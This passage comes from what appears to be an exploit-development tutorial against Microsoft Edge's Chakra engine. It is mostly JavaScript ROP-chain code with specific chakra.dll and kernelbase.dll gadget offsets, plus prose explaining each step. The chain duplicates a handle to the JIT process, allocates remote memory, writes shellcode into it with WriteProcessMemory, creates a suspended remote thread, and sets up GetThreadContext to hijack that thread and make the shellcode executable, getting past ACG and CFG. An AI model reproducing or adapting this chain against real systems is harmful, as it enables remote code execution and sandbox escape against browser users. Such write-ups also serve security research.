write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// VirtualAlloc() ROP chain
// Stage 7 -> Allocate some local memory to store the CONTEXT structure from GetThreadContext

// DWORD flProtect (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // PAGE_READWRITE (0x4)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// LPVOID lpAddress (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL (let VirtualAlloc() decide the address)
next();

// SIZE_T dwSize (RDX) (0x4d0 = sizeof(CONTEXT))
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x000004d0, 0x00000000);             // (0x4d0 bytes)
next();

// DWORD flAllocationType (R8) ( MEM_RESERVE | MEM_COMMIT = 0x3000)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT (0x3000)
next();

// Call KERNELBASE!VirtualAlloc
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x5ac10, kernelbaseHigh); // KERNELBASE!VirtualAlloc address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAlloc)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAlloc - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38     
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();

This call is pretty straight forward, and since there are only four parameters we don’t have to write any parameters to the stack.

We start out with the flProtect parameter (again we have to make sure RAX is writable because of a gadget when performs cmp r8d, [rax]). We can set a breakpoint on jmp rax, as we have seen, to reach our first gadget within the VirtualAlloc ROP chain.

The first parameter we are going to start with flProtect parameter, which we will set to 4, or PAGE_READWRITE.

Our call to VirtualAlloc is now in this state:

VirtualAlloc(
	-
	-
	-
	PAGE_READWRITE			// Make sure the page is writable so GetThreadContext can write to it
);

The next parameter we will address is lpAddress - which we will set to NULL.

This brings our call to the following state:

VirtualAlloc(
	NULL,				// Let the system decide where to allocate the memory
	-
	-
	PAGE_READWRITE			// Make sure the page is writable so GetThreadContext can write to it
);

Next up is our dwSize parameter. We showed earlier how to calculate the size of a CONTEXT structure, and so we will use a value of 0x4d0.

This brings us to the following state - with only one more parameter to deal with:

VirtualAlloc(
	NULL,				// Let the system decide where to allocate the memory
	sizeof(CONTEXT),		// The size we want to allocate (size of a CONTEXT structure)
	-
	PAGE_READWRITE			// Make sure the page is writable so GetThreadContext can write to it
);

The last parameter we need to set is flAllocationType, which will be a value of 0x3000.

This completes our parameters:

VirtualAlloc(
	NULL,				// Let the system decide where to allocate the memory
	sizeof(CONTEXT),		// The size we want to allocate (size of a CONTEXT structure)
	MEM_COMMIT | MEM_RESERVE,	// Make sure this memory is committed and reserved
	PAGE_READWRITE			// Make sure the page is writable so GetThreadContext can write to it
);

Lastly, we execute our function call and the return value should be to a block of memory which we will use in our call to GetThreadContext.

As part of our next ROP chain, calling GetThreadContext, we will preserve this address as we need to write a value into it before we make our call to GetThreadContext.

GetThreadContext ROP Chain

As mentioned earlier, we want to inject one last item into the JIT process, now that our shellcode is there, and that is a final ROP chain that will mark our shellcode as RWX. As we know, with ROP, we need to have stack control in order to have ROP work, as each gadget performs a return to the stack, and we need to control what each gadget returns back into (our next ROP gadget). So, since we have already controlled a thread (by creating one) in the remote JIT process, we can use the Windows API GetThreadContext to dump the CPU register state of our thread, which includes the RSP register, or the stack pointer. In other words, GetThreadContext allows us, by nature, to leak the stack from a thread in any process which a user has access to via a handle to a thread within said process. Luckily for us, as mentioned, CreateRemoteThread returned a handle to us - meaning we have a handle to a thread within the JIT process that we control.

However, let’s quickly look at GetThreadContext and its documentation, specifically the lpContext parameter:

A pointer to a CONTEXT structure (such as ARM64_NT_CONTEXT) that receives the appropriate context of the specified thread. The value of the ContextFlags member of this structure specifies which portions of a thread’s context are retrieved. The CONTEXT structure is highly processor specific. Refer to the WinNT.h header file for processor-specific definitions of this structures and any alignment requirements.

As we can see, it is a slight misnomer to say that we only need to supply GetThreadContext with an empty buffer to fill. When calling GetThreadContext, one needs to fill in CONTEXT.ContextFlags in order to tell the OS how much of the thread’s context (e.g. CPU register state) we would like to receive. In our case, we want to retrieve all of the registers back (a full 0x4d0 CONTEXT structure).

Taking a look at ReactOS we can see the possible values we can supply here:

If we add all of these values together to retrieve CONTEXT_ALL, we can see we get a value of 0x10001f. This means that when we call GetThreadContext, before the call, we need to set our CONTEXT structure (which is really our VirtualAlloc allocation address) to 0x10001f in the ContextFlags structure.

Looking at WinDbg, this value is located at CONTEXT + 0x30.

This means that before we call GetThreadContext, we need to write to our buffer, which we allocated with VirtualAlloc (we will pass this into GetThreadContext to act as our “CONTEXT” structure), the value 0x10001f at an offset of 0x30 within this buffer. Here is how this looks:

VirtualAlloc_buffer.ContextFlags = CONTEXT_ALL		// CONTEXT_ALL = 0x10001f

GetThreadContext(
	threadHandle,					// A handle to the thread we want to retrieve a CONTEXT structure for (our thread we created via CreateRemoteThread)
	addressof(VirtualAlloc_buffer)			// The buffer to receive the CONTEXT structure
);

Let’s see how all of this looks via ROP (with previous chains for continuity):

// alert() for debugging
alert("DEBUG");

// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
jitHandle = read64(chakraLo+0x74d838, chakraHigh);

// Helper function to be called after each stack write to increment offset to be written to
function next()
{
    counter+=0x8;
}

// Begin ROP chain
// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28
// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them
// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us

// DuplicateHandle() ROP chain
// Stage 1 -> Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions
// ACG is disabled in the JIT process
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299

// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer

// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter

// HANDLE hSourceHandle (RDX)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Psuedo-handle to current process
next();

// HANDLE hTargetProcessHandle (R8)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPHANDLE lpTargetHandle (R9)
// This needs to be a writable address where the full JIT handle will be stored
// Using .data section of chakra.dll in a part where there is no data
/*
0:053> dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72e128, chakraHigh);      // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server;
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hSourceProcessHandle (RCX)
// Handle to the JIT process from the content process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], jitHandle[0], jitHandle[1]);         // PROCESS_DUP_HANDLE HANDLE to JIT server
next();

// Call KERNELBASE!DuplicateHandle
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], duplicateHandle[0], duplicateHandle[1]); // KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // DWORD dwDesiredAccess (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // BOOL bInheritHandle (RSP+0x30)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000002, 0x00000000);             // DWORD dwOptions (RSP+0x38)
next();

// VirtuaAllocEx() ROP chain
// Stage 2 -> Allocate memory in the Edge JIT process (we have a full handle there now)

// DWORD flAllocationType (R9)
// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)
/*
0:031> ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// SIZE_T dwSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // 0x1000 (shellcode size)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPVOID lpAddress (RDX)
// Let VirtualAllocEx decide where the memory will be located
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     				   // Recall RAX already has a writable pointer in it

// Call KERNELBASE!VirtualAllocEx
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xff00, kernelbaseHigh); // KERNELBASE!VirtualAllocEx address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD flProtect (RSP+0x28) (PAGE_READWRITE)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// WriteProcessMemory() ROP chain
// Stage 3 -> Write our shellcode into the JIT process

// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)

/*
0:015> dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where we will store VirtualAllocEx allocation
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // SIZE_T nSize (0x1000)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     // Recall RAX already has a writable pointer in it

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000-0x8, kernelbaseHigh); // .data section of kernelbase.dll where we have our VirtualAllocEx allocation
next();                                                                            // (-0x8 to compensate for below where we have to read from the address at +0x8 offset
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);      // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
next();

// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000, chakraHigh);    	  // .data section of chakra.dll holding our shellcode
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// CreateRemoteThread() ROP chain
// Stage 4 -> Create a thread within the JIT process, but create it suspended
// This will allow the thread to _not_ execute until we are ready
// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later
// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain
// We will update the thread later via another ROP chain to call SetThreadContext()

// LPTHREAD_START_ROUTINE lpStartAddress (R9)
// This can be any random data, since it will never be executed
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x28b4fe, chakraHigh);	   // 0x180043c63: Anything we want - this will never get executed
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();

// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL (default security properties)
next();

// SIZE_T dwStackSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // 0 (default stack size)
next();

// Call KERNELBASE!CreateRemoteThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
